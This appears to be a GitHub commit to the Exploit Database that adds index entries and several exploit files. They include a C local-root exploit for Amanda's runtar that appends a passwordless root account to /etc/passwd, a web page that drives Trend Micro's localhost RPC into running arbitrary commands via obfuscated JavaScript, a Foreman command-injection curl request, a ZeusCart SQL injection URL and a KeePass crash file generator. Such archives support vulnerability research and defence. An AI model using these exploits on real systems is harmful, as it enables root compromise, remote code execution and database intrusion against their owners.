Skip to content

Commit f667285

Browse files
author
Offensive Security
committed
DB: 2016-01-12
8 new exploits
1 parent 6894064 commit f667285

9 files changed

Lines changed: 196 additions & 0 deletions

File tree

files.csv

Lines changed: 8 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -35461,3 +35461,11 @@ id,file,description,date,author,platform,type,port
3546135461
39212,platforms/php/webapps/39212.txt,"WordPress JW Player for Flash & HTML5 Video Plugin Cross Site Request Forgery Vulnerability",2014-06-10,"Tom Adams",php,webapps,0
3546235462
39213,platforms/php/webapps/39213.txt,"WordPress Featured Comments Plugin Cross Site Request Forgery Vulnerability",2014-06-10,"Tom Adams",php,webapps,0
3546335463
39214,platforms/linux/local/39214.c,"Linux Kernel <= 3.3.5 '/drivers/media/media-device.c' Local Information Disclosure Vulnerability",2014-05-28,"Salva Peiro",linux,local,0
35464+
39216,platforms/windows/dos/39216.py,"KeePass Password Safe Classic 1.29 - Crash PoC",2016-01-11,"Mohammad Reza Espargham",windows,dos,0
35465+
39217,platforms/linux/local/39217.c,"Amanda <= 3.3.1 - Local Root Exploit",2016-01-11,"Hacker Fantastic",linux,local,0
35466+
39218,platforms/windows/remote/39218.html,"TrendMicro node.js HTTP Server Listening on localhost Can Execute Commands",2016-01-11,"Google Security Research",windows,remote,0
35467+
39219,platforms/multiple/dos/39219.txt,"Adobe Flash BlurFilter Processing - Out-of-Bounds Memset",2016-01-11,"Google Security Research",multiple,dos,0
35468+
39220,platforms/windows/dos/39220.txt,"Adobe Flash - Use-After-Free When Rendering Displays From Multiple Scripts",2016-01-11,"Google Security Research",windows,dos,0
35469+
39221,platforms/win64/dos/39221.txt,"Adobe Flash - Use-After-Free When Setting Stage",2016-01-11,"Google Security Research",win64,dos,0
35470+
39222,platforms/multiple/remote/39222.txt,"Foreman Smart-Proxy Remote Command Injection Vulnerability",2014-06-05,"Lukas Zapletal",multiple,remote,0
35471+
39223,platforms/php/webapps/39223.txt,"ZeusCart 'prodid' Parameter SQL Injection Vulnerability",2014-06-24,"Kenny Mathis",php,webapps,0

platforms/linux/local/39217.c

Lines changed: 49 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,49 @@
1+
/*
2+
AMANDA, the Advanced Maryland Automatic Network Disk Archiver, is a backup
3+
solution that allows the IT administrator to set up a single master backup
4+
server to back up multiple hosts over network to tape drives/changers or
5+
disks or optical media. Amanda uses native utilities and formats (e.g. dump
6+
and/or GNU tar) and can back up a large number of servers and workstations
7+
running multiple versions of Linux or Unix.
8+
9+
A user with backup privs can trivially compromise a client installation.
10+
The "runtar" setuid root binary does not check for additional arguments
11+
supplied after --create, allowing users to manipulate commands and perform
12+
command injection as root. Tested against Amanda 3.3.1.
13+
14+
An example is shown below:
15+
16+
$ uname -a
17+
Linux raspberrypi 3.10.25 #1 Sat Dec 28 20:50:23 EST 2013 armv6l GNU/Linux
18+
$ ls -al /usr/lib/amanda/runtar
19+
-rwsr-xr-- 1 root backup 9776 Jul 29 2012 /usr/lib/amanda/runtar
20+
$ id
21+
uid=34(backup) gid=34(backup) groups=34(backup),6(disk),26(tape)
22+
$ cat /tmp/x.c
23+
*/
24+
25+
#include <stdio.h>
26+
#include <stdlib.h>
27+
#include <sys/types.h>
28+
#include <unistd.h>
29+
30+
int main(){
31+
setreuid(0,0);
32+
setregid(0,0);
33+
system("echo r00t::0:0::/:/bin/sh >> /etc/passwd");
34+
exit(0);
35+
}
36+
37+
/*
38+
$ su - r00t
39+
No passwd entry for user 'r00t'
40+
$ gcc x.c -o x
41+
$ /usr/lib/amanda/runtar NOCONFIG tar --create --rsh-command=/tmp/x -vf localhost:/tmp/lol /etc/passwd
42+
tar: localhost\:/tmp/lol: Cannot open: Input/output error
43+
tar: Error is not recoverable: exiting now
44+
$ su - r00t
45+
# id
46+
uid=0(root) gid=0(root) groups=0(root)
47+
48+
-- Hacker Fantastic
49+
*/

platforms/multiple/dos/39219.txt

Lines changed: 8 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,8 @@
1+
Source: https://code.google.com/p/google-security-research/issues/detail?id=627
2+
3+
The attached swf file causes an out-of-bounds memset in BlurFilter processing. Note that Chrome aborts when processing the swf
4+
5+
6+
Proof of Concept:
7+
https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/39219.zip
8+
Lines changed: 7 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,7 @@
1+
source: http://www.securityfocus.com/bid/68117/info
2+
3+
Foreman is prone to a remote command-injection vulnerability.
4+
5+
Successful exploits will result in the execution of arbitrary commands with the privileges of the user running foreman-proxy.
6+
7+
curl -3 -H "Accept:application/json" -k -X POST -d "dummy=exploit" 'https://www.example.com:8443/tftp/fetch_boot_file?prefix=a&path=%3Btouch%20%2Ftmp%2Fbusted%3B'

platforms/php/webapps/39223.txt

Lines changed: 9 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,9 @@
1+
source: http://www.securityfocus.com/bid/68182/info
2+
3+
ZeusCart is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.
4+
5+
Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
6+
7+
ZeusCart 4.0 is vulnerable; other versions may also be affected.
8+
9+
http://www.example.com/index.php?do=addtocart&prodid=${PROD_ID} and sleep(1)

platforms/win64/dos/39221.txt

Lines changed: 8 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,8 @@
1+
Source: https://code.google.com/p/google-security-research/issues/detail?id=629
2+
3+
The attached file causes a use-after-free when calling the stage setter. The PoC works most consistently in Firefox for 64-bit Windows.
4+
5+
6+
Proof of Concept:
7+
https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/39221.zip
8+

platforms/windows/dos/39216.py

Lines changed: 37 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,37 @@
1+
# Title : KeePass Password Safe Classic 1.29 - Crash Proof Of Concept
2+
# Affected Versions: All Version
3+
# Founder : keepass.info
4+
# Tested on Windows 7 / Server 2008
5+
# Download Link : http://sourceforge.net/projects/keepass/files/KeePass%201.x/1.30/KeePass-1.30.zip
6+
#
7+
#
8+
# Author      :   Mohammad Reza Espargham
9+
# Linkedin    :   https://ir.linkedin.com/in/rezasp
10+
# E-Mail      :   me[at]reza[dot]es , reza.espargham[at]gmail[dot]com
11+
# Website     :   www.reza.es
12+
# Twitter     :   https://twitter.com/rezesp
13+
# FaceBook    :   https://www.facebook.com/reza.espargham
14+
#
15+
#
16+
# 1 . run python code : python crash.py
17+
# 2 . open “KeePass”
18+
# 3 . File —> New (Create New Password Database)
19+
# 4 . File —> Import —> CSV File…
20+
# 5 . open r3z4.csv
21+
# 6 . Right Click on “R3Z4” username and edit
22+
# 7 . Crashed ;)
23+
24+
25+
26+
#!/usr/bin/env python
27+
hdr = '"' #start syntax
28+
hcr = "R3Z4" #user
29+
oth = ',"' #user
30+
oth2 = '","",""' #user
31+
val=','
32+
crash = "\x41"*199289 #B0F
33+
exp = hdr+hcr+hdr+val+hdr+hcr+hdr+oth+crash+oth2
34+
file = open("r3z4.csv", "w")
35+
file.write(exp)
36+
file.close()
37+

platforms/windows/dos/39220.txt

Lines changed: 8 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,8 @@
1+
Source: https://code.google.com/p/google-security-research/issues/detail?id=628
2+
3+
There is a use-after-free that appears to be related to rendering the display based on multiple scripts. A PoC is attached, tested on Windows only. Note the PoC is somewhat unreliable on some browsers, sometimes it needs to render a minute or two in the foreground before crashing. This is related to unreliability in the freed object being reallocated as a value that causes the crash, not unreliability in the underlying bug (it crashes immediately in a debug build of Flash). With enough effort, an attacker could likely trigger the issue immediately.
4+
5+
6+
Proof of Concept:
7+
https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/39220.zip
8+
Lines changed: 62 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,62 @@
1+
<!--
2+
Source: https://code.google.com/p/google-security-research/issues/detail?id=693
3+
4+
When you install TrendMicro Antivirus on Windows, by default a component called Password Manager is also installed and automatically launched on startup.
5+
6+
http://www.trendmicro.com/us/home/products/software/password-manager/index.html
7+
8+
This product is primarily written in JavaScript with node.js, and opens multiple HTTP RPC ports for handling API requests.
9+
10+
It took about 30 seconds to spot one that permits arbitrary command execution, openUrlInDefaultBrowser, which eventually maps to ShellExecute().
11+
12+
This means any website can launch arbitrary commands, like this:
13+
14+
x = new XMLHttpRequest()
15+
x.open("GET", "https://localhost:49155/api/openUrlInDefaultBrowser?url=c:/windows/system32/calc.exe true);
16+
try { x.send(); } catch (e) {};
17+
18+
(Note that you cannot read the response due to the same origin policy, but it doesn't matter - the command is still executed).
19+
-->
20+
21+
<html>
22+
<head>
23+
<title>Trend Micro Maximum Security 10 Exploit</title>
24+
</head>
25+
<body>
26+
<p>
27+
Sample exploit for Trend Micro Maximum Security 10.
28+
<p>
29+
-- Tavis Ormandy.
30+
<p>
31+
Command: <input id="command" value="C:/PROGRA~1/TRENDM~1/Titanium/Remove.exe" size="64">
32+
<p>
33+
<a href="javascript:begin()">Click Here</a> to run the command above (the default will uninstall Trend Micro Maximum).
34+
<p>
35+
<img src="http://reactiongifs.us/wp-content/uploads/2013/02/awesome_to_the_max.gif">
36+
<script>
37+
function begin() {
38+
// The command you want to run, arguments will work but don't use single quotes.
39+
// Lets uninstall Trend Micro.
40+
var cmd = document.getElementById('command').value;
41+
42+
// Start port, Trend Micro trys top open a port starting here until it works.
43+
var port = 49155;
44+
45+
// Wrapper code to start cmd.
46+
var code = "topWindow.require('child_process').spawn('cmd', [ '/c', '" + cmd + "' ])"
47+
48+
// We can't send quotes, so encode that via character codes.
49+
code = code.split('').map(function(a){ return a.charCodeAt(0) }).join(',');
50+
51+
// Create the XHR's
52+
for (; port <= 49160; port++) {
53+
var x = new XMLHttpRequest();
54+
55+
x.open('GET', 'https://localhost:' + port + '/api/showSB?url=javascript:eval(String.fromCharCode(' + code + '))', false);
56+
57+
// We can't tell if it worked because of the cross domain policy.
58+
try { x.send(); } catch (e) {};
59+
}
60+
}
61+
</script>
62+

0 commit comments

Comments
 (0)